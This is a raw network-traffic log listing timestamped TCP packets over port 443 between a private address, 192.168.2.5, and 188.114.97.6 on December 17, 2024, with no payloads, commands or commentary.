Dec 17, 2024 08:38:21.953036070 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.015701056 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.015729904 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.015760899 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.015795946 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.015805960 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.015842915 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.055331945 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.055356026 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.055461884 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.055461884 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.055473089 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.062467098 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.062474012 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.062517881 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.062681913 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.062681913 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.062694073 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.067677021 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.067734003 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.067821980 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.067821980 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.067831039 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.068042040 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.074023008 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.074054003 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.074131966 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.074142933 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.074192047 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.081737995 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.081765890 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.081865072 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.081865072 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.081876040 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.081990004 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.088855982 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.088881016 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.088958979 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.088958979 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.088967085 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.089013100 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.095324993 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.095333099 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.095401049 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.095410109 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.095520973 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.096376896 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.140552044 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.208364964 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.208390951 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.208426952 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.208446980 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.208543062 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.208543062 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.246623993 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.246642113 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.247205019 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.247215033 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.247596025 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.247864962 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.248078108 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.254970074 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.254997969 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.255109072 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.255116940 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.261318922 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.261341095 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.261415958 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.261431932 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.261481047 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.268552065 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.268568039 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.268918991 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.268933058 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.269124031 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.275293112 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.275310040 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.275396109 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.275408030 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.275598049 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.282697916 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.282737970 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.282778025 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.282788038 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.282864094 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.282865047 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.288964033 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.288986921 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.289027929 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.289052963 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.289093971 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.289112091 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.399888039 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.399914026 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.399956942 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.399971008 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.400032997 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.439800024 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.439831018 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.439980984 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.439980984 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.439996004 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.440056086 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.446013927 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.446033001 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.446130037 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.446141005 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.446274042 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.446383953 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.447052002 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.447104931 CET	443	49710	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:22.447108984 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:22.447186947 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:26.860183001 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:27.433109999 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:32.259210110 CET	49710	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:32.298512936 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:32.298563004 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:32.298666000 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:32.299140930 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:32.299151897 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:33.511424065 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:33.529933929 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:33.529961109 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.179131985 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.179320097 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.179363012 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.179421902 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.179451942 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.179498911 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.179547071 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.179554939 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.179606915 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.187688112 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.196289062 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.196413994 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.196440935 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.204454899 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.204513073 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.204535961 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.305706978 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.305728912 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.375983000 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.376019001 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.376075983 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.376105070 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.376157999 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.383601904 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.391510010 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.391573906 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.391582012 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.399532080 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.399568081 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.399600029 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.399610043 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.399822950 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.407609940 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.415616035 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.415684938 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.415695906 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.423686028 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.423788071 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.423818111 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.431585073 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.431678057 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.431699991 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.439656019 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.439708948 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.439722061 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.452505112 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.452578068 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.452585936 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.508949995 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.521959066 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.564079046 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.564167023 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.564198971 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.566380024 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.566437006 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.566464901 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.571418047 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.571475029 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.571481943 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.576270103 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.576327085 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.576333046 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.585665941 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.585720062 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.585727930 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.585823059 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.594865084 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.594876051 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.594954014 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.604244947 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.604255915 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.604335070 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.608975887 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.608990908 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.609065056 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.618248940 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.618257999 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.618324041 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.627615929 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.627624989 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.627691031 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.632389069 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.632397890 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.632482052 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.641966105 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.642047882 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.714171886 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.714262009 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.716517925 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.716609955 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.756161928 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.756232977 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.761549950 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.761615038 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.768738031 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.768814087 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.775583029 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.775660038 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.778862000 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.778932095 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.781034946 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.781100988 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.783525944 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.783605099 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.785619974 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.785897017 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.790060997 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.790122032 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.792421103 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.792534113 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.794651031 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.794709921 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.796911955 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.796976089 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.801573038 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.801645041 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.803755999 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.803843021 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.808330059 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.808397055 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.812794924 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.812864065 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.815120935 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.815185070 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.817202091 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.817282915 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.821863890 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.821932077 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.826354980 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.826425076 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.826447010 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.826500893 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.828665972 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.828726053 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.833122015 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.833187103 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.833193064 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.833209038 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.833255053 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.837518930 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.837594032 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.840045929 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.840131998 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.906428099 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.906485081 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.909204006 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.909272909 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.909282923 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.909338951 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.913695097 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.913746119 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.949621916 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.949675083 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.950618982 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.950675964 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.962455034 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.962464094 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.962513924 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.962542057 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.962551117 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.962584019 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.962608099 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.967416048 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.967474937 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.967480898 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.967530012 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.973401070 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.973473072 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.973479033 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.973522902 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.975934029 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.976056099 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.979492903 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.979599953 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.981828928 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:34.981911898 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:34.985230923 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.344713926 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.344733000 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.344765902 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.344790936 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.344822884 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.344846964 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.344896078 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.344939947 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.344948053 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.347449064 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.347486019 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.347517014 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.347533941 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.347548962 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.349330902 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.349351883 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.349407911 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.349416018 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.355644941 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.355669975 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.355706930 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.355720043 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.355734110 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.357166052 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.357217073 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.357239962 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.357250929 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.357270002 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.357381105 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.357428074 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.357434034 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.359250069 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.359268904 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.359306097 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.359329939 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.359338045 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.359383106 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.361036062 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.361051083 CET	443	49746	188.114.97.6	192.168.2.5
